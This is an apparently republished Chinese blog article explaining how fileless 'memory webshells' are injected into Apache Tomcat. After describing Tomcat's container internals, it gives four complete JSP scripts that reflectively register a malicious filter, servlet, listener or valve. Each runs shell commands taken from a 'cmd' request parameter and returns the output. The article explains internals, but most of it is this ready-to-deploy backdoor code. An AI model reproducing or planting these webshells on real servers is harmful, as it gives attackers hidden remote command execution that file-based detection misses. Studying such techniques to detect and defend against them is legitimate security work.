您的位置 首页 java

tomcat内存马原理解析及实现

内存马

简介

Webshell内存马,是在内存中写入恶意后门和木马并执行,达到远程控制 Web服务器 的一类内存马,其瞄准了企业的对外窗口:网站、应用。但传统的 Webshell 都是基于文件类型的,黑客可以利用上传工具或网站漏洞植入木马,区别在于Webshell内存马是无文件马,利用中间件的进程执行某些恶意代码,不会有文件落地,给检测带来巨大难度。

类型

​ 目前分为三种:

  1. Servlet -API型
    通过命令执行等方式动态注册一个新的listener、filter或者servlet,从而实现命令执行等功能。特定框架、容器的内存马原理与此类似,如 tomcat 的valve内存马filter型servlet型listener型
  2. 字节码 增强型通过 java 的instrumentation动态修改已有代码,进而实现命令执行等功能。
  3. spring类拦截器Controller型

基础知识

Java web 三大件

一文看懂内存马 – FreeBuf网络安全行业门户

Tomcat基本架构

​ 6. 站在巨人的肩膀学习Java Filter型内存马 – bmjoker – 博客园 (cnblogs.com)

Tomcat 中有 4 类容器组件,从上至下依次是:

  1. Engine,实现类为 org. apache .catalina.core.StandardEngine
  2. Host,实现类为 org.apache.catalina.core.StandardHost
  3. Context,实现类为 org.apache.catalina.core.StandardContext
  4. Wrapper,实现类为 org.apache.catalina.core.StandardWrapper

“从上至下” 的意思是,它们之间是存在父子关系的。

  • Engine:最顶层容器组件,其下可以包含多个 Host。
  • Host:一个 Host 代表一个虚拟主机,其下可以包含多个 Context。
  • Context:一个 Context 代表一个 Web 应用,其下可以包含多个 Wrapper。
  • Wrapper:一个 Wrapper 代表一个 Servlet。

0x01 Tomcat filter型内存马

​ 所谓filter内存马,就是在 web容器 中创建了含有恶意代码的filter,在请求传递到servlet前被拦截下来且执行了恶意代码。因此,我们需要了解filter的创建流程。

​ 由于是tomcat进行创建,因此需要阅读tomcat源码。在pom.xml中添加如下依赖,然后reload maven即可调试tomcat源码

  <dependency>            <groupId>org.apache.tomcat</groupId>            <artifactId>tomcat-catalina</artifactId>            <version>9.0.52</version>            <scope>provided</scope>        </dependency>  

在filter的init函数下断点,看一下调用链,发现是StandardContext处的filterStart方法调用了filter相关方法。

在调用filterStart方法

这里我们可以发现主要是通过将filterDef这个参数传入ApplicationFilterConfig来实现创建filter。而后将其加入filterConfigs。

接下来再看一下调用filterChain.doFilter(servlet Request ,servletResponse);的调用栈

可以发现filterchain在这里创建。

     ApplicationFilterChain filterChain =            ApplicationFilterFactory.createFilterChain( request , wrapper, servlet);  

看一下它的具体代码

     for (FilterMap filterMap : filterMaps) {//遍历filterMaps        if (!matchDispatcher(filterMap, dispatcher)) {            continue;        }        if (!matchFiltersURL(filterMap, requestPath)) {            continue;        }        ApplicationFilterConfig filterConfig = (ApplicationFilterConfig)//将filterMaps中的配置实例化为FilterConfig                context.findFilterConfig(filterMap.getFilterName());        if (filterConfig == null) {            // FIXME - log configuration problem            continue;        }        filterChain.addFilter(filterConfig);//在filterChain中添加filterConfig    }  

filterMaps是web.xml的filter相关配置

如上所述,我们实现filter型内存马要经过如下步骤:(这里原本的filterDef与filterMaps都是通过web.xml解析而来)

  • 创建恶意filter类
  • 构造相应的filterDef
  • 通过将filterDef这个参数传入ApplicationFilterConfig来实现创建filter。而后将其加入filterConfigs。
  • 创建一个相应的filterMaps,且将恶意filter放在最前。

具体实现方法:

由于filter的init在应用创建时完成,因此要进行filter内存马的注入,需要在filterChain.doFilter前把相应的filter配置注入。

可以利用任意文件上传来执行 jsp 脚本实现,也可以尝试反序列化进行代码执行。

【安全记录】基于Tomcat的Java内存马初探 – 简书 (jianshu.com)

 //只适用于tomcat8,tomcat7的import包不同<%--  Created by IntelliJ IDEA.  User: win7_wushiying  Date: 2021/10/24  Time: 19:03  To change this template use File | Settings | File Templates.--%><%@ page import="org.apache.catalina.core.ApplicationContext" %><%@ page import="java.lang.reflect.Field" %><%@ page import="org.apache.catalina.core.StandardContext" %><%@ page import="java.util.Map" %><%@ page import="java.io.IOException" %><%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %><%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %><%@ page import="java.lang.reflect.Constructor" %><%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %><%@ page import="org.apache.catalina.Context" %><%@ page import="java.io.InputStream" %><%@ page import="java.util.Scanner" %><%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>  <%    final String name = "shell";    // 获取上下文,即standardContext     ServletContext  servletContext = request.getSession().getServletContext();     Field appctx = servletContext.getClass().getDeclaredField("context");    appctx.setAccessible(true);     ApplicationContext  applicationContext = (ApplicationContext) appctx.get(servletContext);     Field stdctx = applicationContext.getClass().getDeclaredField("context");    stdctx.setAccessible(true);    StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);	//获取上下文中 filterConfigs    Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");    Configs.setAccessible(true);    Map filterConfigs = (Map) Configs.get(standardContext);	//创建恶意filter    if (filterConfigs.get(name) == null){        Filter filter = new Filter() {            @Override            public void init(FilterConfig filterConfig) throws ServletException {             }             @Override            public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IO Exception , ServletException {                HttpServletRequest req = (HttpServletRequest) servletRequest;                if (req.getParameter("cmd") != null) {                    boolean isLinux = true;                    String osTyp = System.getProperty("os.name");                    if (osTyp != null && osTyp.toLowerCase().contains("win")) {                        isLinux = false;                    }                    String[] cmds = isLinux ? new String[] {"sh", "-c", req.getParameter("cmd")} : new String[] {"cmd.exe", "/c", req.getParameter("cmd")};                     InputStream  in = Runtime.getRuntime().exec(cmds).getInputStream();                    Scanner s = new Scanner( in ).useDelimiter("a");                    String output = s.hasNext() ? s.next() : "";                    servletResponse.getWriter().write(output);                    servletResponse.getWriter().flush();                    return;                }                filterChain.doFilter(servletRequest, servletResponse);            }             @Override            public  void  destroy() {             }         };		//创建对应的FilterDef        FilterDef filterDef = new FilterDef();        filterDef.setFilter(filter);        filterDef.setFilterName(name);        filterDef.setFilterClass(filter.getClass().getName());        /**         * 将filterDef添加到filterDefs中         */        standardContext.addFilterDef(filterDef);		//创建对应的FilterMap,并将其放在最前        FilterMap filterMap = new FilterMap();        filterMap.addURLPattern("/*");        filterMap.setFilterName(name);        filterMap.setDispatcher(DispatcherType.REQUEST.name());         standardContext.addFilterMapBefore(filterMap);		//调用反射方法,去创建filterConfig实例         Constructor  constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);        constructor.setAccessible(true);        ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);		//将filterConfig存入filterConfigs,等待filterchain.dofilter的调用        filterConfigs.put(name, filterConfig);        out.print("Inject Success !");    }%><html><head>    <title>Title</title></head><body> </body></html>   

获取standard上下文,使用以下方法获取servletContext,而后调用反射机制获取StandardContext

 request.getSession().getServletContext();
  
tomcat内存马原理解析及实现

0x02 Tomcat servlet型内存马

servlet型的内存马原理就是注册一个恶意的servlet,与filter相似,只是创建过程不同。

核心还是看StandardContext

在init filter后就调用了loadOnStartup方法实例化servlet

可以发现servlet的相关信息是保存在StandardContext的children字段。

根据以下代码可知,只要在children字段添加相应的servlet,loadOnStartup就能够完成init。

 public boolean loadOnStartup(Container children[]) {     // Collect "load on startup" servlets that need to be initialized    TreeMap<Integer, ArrayList<Wrapper>> map = new TreeMap<>();    for (Container child : children) {        Wrapper wrapper = (Wrapper) child;        int loadOnStartup = wrapper.getLoadOnStartup();        if (loadOnStartup < 0) {            continue;        }         Integer  key = Integer.valueOf(loadOnStartup);        ArrayList<Wrapper> list = map.get(key);        if (list == null) {            list = new ArrayList<>();            map.put(key, list);        }        list.add(wrapper);    }     // Load the collected "load on startup" servlets    for (ArrayList<Wrapper> list : map.values()) {        for (Wrapper wrapper : list) {            try {                wrapper.load();            } catch (ServletException e) {                getLogger().error(sm.getString("standardContext.loadOnStartup.loadException",                      getName(), wrapper.getName()), StandardWrapper.getRootCause(e));                // NOTE: load errors (including a servlet that throws                // UnavailableException from the init() method) are NOT                // fatal to application startup                // unless failCtxIfServletStartFails="true" is specified                 if (getComputedFailCtxIfServletStartFails()) {                    return false;                }            }        }    }    return true; }  

接下去就要寻找如何添加恶意wrapper至children,找到addchild方法,说明了child需要为wrapper实例

   public void addChild(Container child) {   // Global JspServlet    Wrapper oldJspServlet = null;     if (!(child  instanceof  Wrapper)) {//这里说明了child需要为wrapper实例        throw new IllegalArgumentException            (sm.getString("standardContext.notWrapper"));    }    ...  }  

寻找创建wrapper实例的代码,发现createWrapper方法

这样创建恶意servlet流程就清楚了

  • 创建恶意的servlet实例
  • 获取standardContext实例
  • 调用createWrapper方法并设置相应参数
  • 调用addchild函数
  • 为了将servlet与相应url绑定,调用addServletMappingDecoded方法

具体实现

 <%--  Created by IntelliJ IDEA.  User: win7_wushiying  Date: 2021/10/25  Time: 14:45  To change this template use File | Settings | File Templates.--%><%@ page import="org.apache.catalina.core.ApplicationContext" %><%@ page import="java.lang.reflect.Field" %><%@ page import="org.apache.catalina.core.StandardContext" %><%@ page import="java.io.IOException" %><%@ page import="java.io.InputStream" %><%@ page import="java.util.Scanner" %><%@ page import="java.io.PrintWriter" %><%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%><%    final String name = "servletshell";    // 获取上下文    ServletContext servletContext = request.getSession().getServletContext();     Field appctx = servletContext.getClass().getDeclaredField("context");    appctx.setAccessible(true);    ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);     Field stdctx = applicationContext.getClass().getDeclaredField("context");    stdctx.setAccessible(true);    StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);     Servlet servlet = new Servlet() {        @Override        public void init(ServletConfig servletConfig) throws ServletException {         }        @Override        public ServletConfig getServletConfig() {            return null;        }        @Override        public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {            String cmd = servletRequest.getParameter("cmd");            boolean isLinux = true;            String osTyp = System.getProperty("os.name");            if (osTyp != null && osTyp.toLowerCase().contains("win")) {                isLinux = false;            }            String[] cmds = isLinux ? new String[] {"sh", "-c", cmd} : new String[] {"cmd.exe", "/c", cmd};            InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();            Scanner s = new Scanner( in ).useDelimiter("a");            String output = s.hasNext() ? s.next() : "";            PrintWriter out = servletResponse.getWriter();            out.println(output);            out.flush();            out.close();        }        @Override        public String getServletInfo() {            return null;        }        @Override        public void destroy() {         }    };     org.apache.catalina.Wrapper newWrapper = standardContext.createWrapper();    newWrapper.setName(name);    newWrapper.setLoadOnStartup(1);    newWrapper.setServlet(servlet);    newWrapper.setServletClass(servlet.getClass().getName());     standardContext.addChild(newWrapper);    standardContext.addServletMappingDecoded("/shell123",name); %><html><head>    <title>Title</title></head><body> </body></html>   

0x03 Tomcat listener型内存马

listener用于监听时间的发生或状态的改变,其初始化与调用顺序在filter之前,

Tomcat使用两类Listener接口分别是org.apache.catalina.LifecycleListener和原生Java.util.EventListener。

一般作为webshell,需要对网站发送请求使用Java.util.EventListener。

(31条消息) Listener(监听器)的简单介绍_LrvingTc的博客-CSDN博客_listener

从上述连接可知,listener选择很多。我们选择与request相关的ServletRequestListener。

ServletRequest域对象的生命周期:
创建:访问服务器任何资源都会发送请求(ServletRequest)出现,访问.html和.jsp和.servlet都会创建请求。
销毁:服务器已经对该次请求做出了响应。

 		@WebListener		public class MyServletRequestListener implements ServletRequestListener{		@Override		public void requestDestroyed(ServletRequestEvent arg0) {			System.out.println("ServletRequest销毁了");		}			@Override		public void requestInitialized(ServletRequestEvent arg0) {			System.out.println("ServletRequest创建了");		}		}  

来看一下StandardContext的listenerStart()方法。主要是获取ApplicationListeners来实现Listener的初始化与装载。

 public boolean listenerStart() {         if (log.isDebugEnabled()) {            log.debug("Configuring application event listeners");        }         // Instantiate the required listeners        String listeners[] = findApplicationListeners();        Object results[] = new Object[listeners.length];        boolean ok = true;        for (int i = 0; i < results.length; i++) {            if (getLogger().isDebugEnabled()) {                getLogger().debug(" Configuring event listener class '" +                    listeners[i] + "'");            }            try {                String listener = listeners[i];                results[i] = getInstanceManager().newInstance(listener);            } catch (Throwable t) {                t = ExceptionUtils.unwrapInvocationTargetException(t);                ExceptionUtils.handleThrowable(t);                getLogger().error(sm.getString(                        "standardContext.applicationListener", listeners[i]), t);                ok = false;            }        }        ...}  

由此,我们可以通过设置StandardContext的ApplicationListeners字段,实现listener内存马的注入。

StandardContext有addApplicationListener方法。

具体流程

  • 创建恶意listener
  • 获取StandardContext
  • StandardContext.addApplicationListener(listener) 添加listener
  <%--  Created by IntelliJ IDEA.  User: win7_wushiying  Date: 2021/10/25  Time: 14:45  To change this template use File | Settings | File Templates.--%><%@ page import="org.apache.catalina.core.ApplicationContext" %><%@ page import="java.lang.reflect.Field" %><%@ page import="org.apache.catalina.core.StandardContext" %><%@ page import="java.io.IOException" %><%@ page import="java.io.InputStream" %><%@ page import="java.util.Scanner" %><%@ page import="java.io.PrintWriter" %><%@ page import="org.apache.catalina.connector.Request" %><%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%> <%    final String name = "servletshell";    // 获取上下文    ServletContext servletContext = request.getSession().getServletContext();     Field appctx = servletContext.getClass().getDeclaredField("context");    appctx.setAccessible(true);    ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);     Field stdctx = applicationContext.getClass().getDeclaredField("context");    stdctx.setAccessible(true);    StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);     ServletRequestListener listener = new ServletRequestListener() {        @Override        public void requestDestroyed(ServletRequestEvent sre) {            HttpServletRequest req = (HttpServletRequest) sre.getServletRequest();            if (req.getParameter("cmd") != null){                InputStream in = null;                try {                    in = Runtime.getRuntime().exec(new String[]{"cmd.exe","/c",req.getParameter("cmd")}).getInputStream();                    Scanner s = new Scanner(in).useDelimiter("A");                    String output = s.hasNext()?s.next():"";                    Field requestF = req.getClass().getDeclaredField("request");                    requestF.setAccessible(true);                    Request request = (Request)requestF.get(req);                    PrintWriter out= request.getResponse().getWriter();                    out.println(output);                    out.flush();                    out.close();                }                catch (IOException e) {}                catch (NoSuchFieldException e) {}                catch (IllegalAccessException e) {}            }        }         @Override        public void requestInitialized(ServletRequestEvent sre) {         }    };    standardContext.addApplicationEventListener(listener);   %><html><head>    <title>Title</title></head><body>inject listener success!</body></html>    

0x04 Valve内存马

Tomcat容器攻防笔记之Valve内存马出世 (qq.com)

tomcat架构分析(valve机制) – 南极山 – 博客园 (cnblogs.com)

在四大容器中,容器之间request的传递是由pipeline串连起来的,而其中的标准valve则存储了invoke方法,实现了具体的逻辑。

如图,是四大容器的标准valve,传递request的流程。

Context中pipeline流程的代码:

 context.getPipeline().getFirst().invoke(request, response);//获取context的Pipeline,获取其第一个valve,调用invoke方法。
  

这样的话,我们可以尝试自己创建恶意valve,重写其invoke方法,添加到四大容器中的pipeline。在发送request时,就能够对其进行操作,执行java代码。

在Pipeline类中找到方法addValve,可以添加valve。

 <%--  Created by IntelliJ IDEA.  User: win7_wushiying  Date: 2021/10/24  Time: 19:03  To change this template use File | Settings | File Templates.--%><%@ page import="org.apache.catalina.core.ApplicationContext" %><%@ page import="java.lang.reflect.Field" %><%@ page import="org.apache.catalina.core.StandardContext" %><%@ page import="java.io.IOException" %><%@ page import="java.io.InputStream" %><%@ page import="java.util.Scanner" %><%@ page import="org.apache.catalina.Valve" %><%@ page import="org.apache.catalina.connector.Request" %><%@ page import="org.apache.catalina.connector.Response" %><%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%> <%!    public final class myvalve implements Valve{         @Override        public Valve getNext() {            return null;        }         @Override        public void setNext(Valve valve) {         }         @Override        public void backgroundProcess() {         }         @Override        public void invoke(Request request, Response response) throws IOException, ServletException {            HttpServletRequest req = (HttpServletRequest) request;            if (req.getParameter("cmd") != null) {                boolean isLinux = true;                String osTyp = System.getProperty("os.name");                if (osTyp != null && osTyp.toLowerCase().contains("win")) {                    isLinux = false;                }                String[] cmds = isLinux ? new String[] {"sh", "-c", req.getParameter("cmd")} : new String[] {"cmd.exe", "/c", req.getParameter("cmd")};                InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();                Scanner s = new Scanner( in ).useDelimiter("a");                String output = s.hasNext() ? s.next() : "";                response.getWriter().write(output);                response.getWriter().flush();                return;            }        }         @Override        public boolean isAsyncSupported() {            return false;        }    }%> <%    final String name = "shell";    // 获取上下文    ServletContext servletContext = request.getSession().getServletContext();     Field appctx = servletContext.getClass().getDeclaredField("context");    appctx.setAccessible(true);    ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);     Field stdctx = applicationContext.getClass().getDeclaredField("context");    stdctx.setAccessible(true);    StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);    myvalve myvalve = new myvalve();   standardContext.getPipeline().addValve(myvalve); %><html><head>    <title>Title</title></head><body> </body></html>  

文章来源:智云一二三科技

文章标题:tomcat内存马原理解析及实现

文章地址:https://www.zhihuclub.com/199616.shtml

关于作者: 智云科技

热门文章

网站地图